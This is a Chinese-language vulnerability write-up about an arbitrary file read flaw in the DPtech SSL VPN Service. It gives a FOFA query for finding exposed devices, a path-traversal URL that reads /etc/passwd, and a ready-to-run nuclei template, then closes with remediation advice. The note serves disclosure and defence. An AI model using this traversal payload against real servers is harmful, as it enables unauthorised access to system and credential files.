免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

漏洞名称

迪普VPN Service 任意文件读取漏洞

漏洞影响

DPtech-SSL-VPN

漏洞描述

杭州迪普科技股份有限公司DPTech VPN Service 存在任意文件读取漏洞,攻击者可以构造恶意请求,通过漏洞读取服务器上的任意文件。

FOFA搜索语句

app="DPtech-SSLVPN"

漏洞复现

POC如下

/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

使用浏览器访问

证明存在漏洞

nuclei poc

poc文件内容如下


id: DPtech-SSL-VPN-Service-anyfileread

info:
  name: 迪普VPN Service 接口存在任意文件读取
  author: fgz
  severity: high
  description: '杭州迪普科技股份有限公司DPTech VPN Service 存在任意文件读取漏洞,攻击者可以构造恶意请求,通过漏洞读取服务器上的任意文件。'
  tags: 2023,DPtech,anyfileread,VPN
  metadata:
    max-request: 3
    fofa-query: app="DPtech-SSLVPN"
    verified: true

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*?:[0-9]*:[0-9]*:"

运行POC

修复建议

升级到最新版本。

任意文件读取类漏洞通常可以如此规避:

  1. 最小权限原则: 确保应用程序或服务在运行时使用的用户或服务账户具有最小的权限。不要赋予不必要的文件读取权限给应用程序。

  2. 输入验证和过滤: 对所有用户输入进行验证和过滤,防止恶意用户通过输入特定的数据进行文件路径遍历攻击。这通常涉及到在代码中使用合适的输入验证和过滤函数,以确保用户提供的路径不包含特殊字符或者恶意构造的数据。

  3. 白名单: 使用白名单机制来限制可以被读取的文件或目录。确保应用程序只能访问预期的文件,并且不允许直接访问文件系统中的其他文件。

  4. 路径规范化: 在读取文件路径之前,进行路径规范化操作,确保路径是标准化的、规范化的,并且没有使用相对路径。

  5. 限制访问: 在服务器上通过配置文件系统权限和Web服务器配置来限制应用程序的访问范围。确保应用程序只能访问其需要的文件和目录。